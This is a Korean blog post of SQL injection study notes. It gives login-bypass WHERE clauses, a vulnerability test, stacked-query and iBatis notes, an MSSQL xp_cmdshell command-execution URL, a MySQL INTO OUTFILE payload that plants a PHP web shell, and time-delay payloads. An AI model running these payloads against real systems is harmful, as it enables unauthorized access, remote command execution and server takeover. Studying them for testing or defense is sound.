1 .인증 우회
- SELECT * FROM user_table WHERE (username=' ' or '1'='1' and (password=' '); ← password가 공백인 행 리턴 (인증 우회 실패)
- SELECT * FROM user_table WHERE (username=' ' or 1=1) or ('1'='1' and password=' '); ← 모든 행 리턴 (인증 우회 성공)
- SELECT * FROM user_table WHERE (username='admin' and 1=1 or '1'='1' and password=' '); ← admin 계정으로 로그인
2. SQL Injection 취약점 검증 방법
- list.aspx?uid=45/*Hello world*/ ← 기존과 결과가 동일하다면 취약
3. 다중구문 실행
- MSSQL 6.0 이상 / MySQL 4.1 버전 이후 / Oracle = PL/SQL을 사용하지 않는 한 다중구문 지원X
- PL/SQL = 오라클 자체에 내장되어 있는 Procedure Language
4. Ibatis 취약점
- #으로 되어있을 경우 PreparedStatement
ex) SELECT * FROM user WHERE column_name LIKE '%' || #username# || '%'
- $으로 되어있을 경우 Statement
ex) SELECT * FROM user WHERE column_name LIKE '%' || $username$ || '%'
5. 명령어 실행
1) MSSQL : xp_cmdshell
http://www.victim.com/welcome.aspx?uid=45; exec master..xp_cmdshell 'ping rootable.tistory.com'; --
2) MySQL : INTO OUTFILE
http://www.victim.com/search.php?s=test'; SELECT '<?php echo shell_exec($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; --
6. 시간지연
1) MSSQL : WAITFOR DELAY 'hours:minutes:seconds'
ex) basket.aspx?uid=45;waitfor delay '0:0:5';--
2) MySQL : benchmark() 함수
ex) display.php?id=32; SELECT BENCHMARK(1000000,ENCODE('hello','world'));--
3) ORACLE : DBMS_LOCK.SLEEP() 함수
BEGIN
DBMS_LOCK.SLEEP(5);
END;
- 조건 1: 서브쿼리 형태로 직접 Injection이 불가 (Oracle에서는 중복쿼리(다중구문)을 지원하지 않기 떄문
- 조건 2 : 오직 DB 관리자만 사용 가능
'Hacking > Web' 카테고리의 다른 글
XXE Injection (0) | 2018.02.01 |
---|---|
SQL Injection With raw MD5 hash (0) | 2018.01.22 |
SQL Injection (0) | 2018.01.16 |
파일 다운로드 취약점 시 찾아볼 것 (0) | 2017.12.04 |
SQL Injection 필터링 우회 (0) | 2017.11.13 |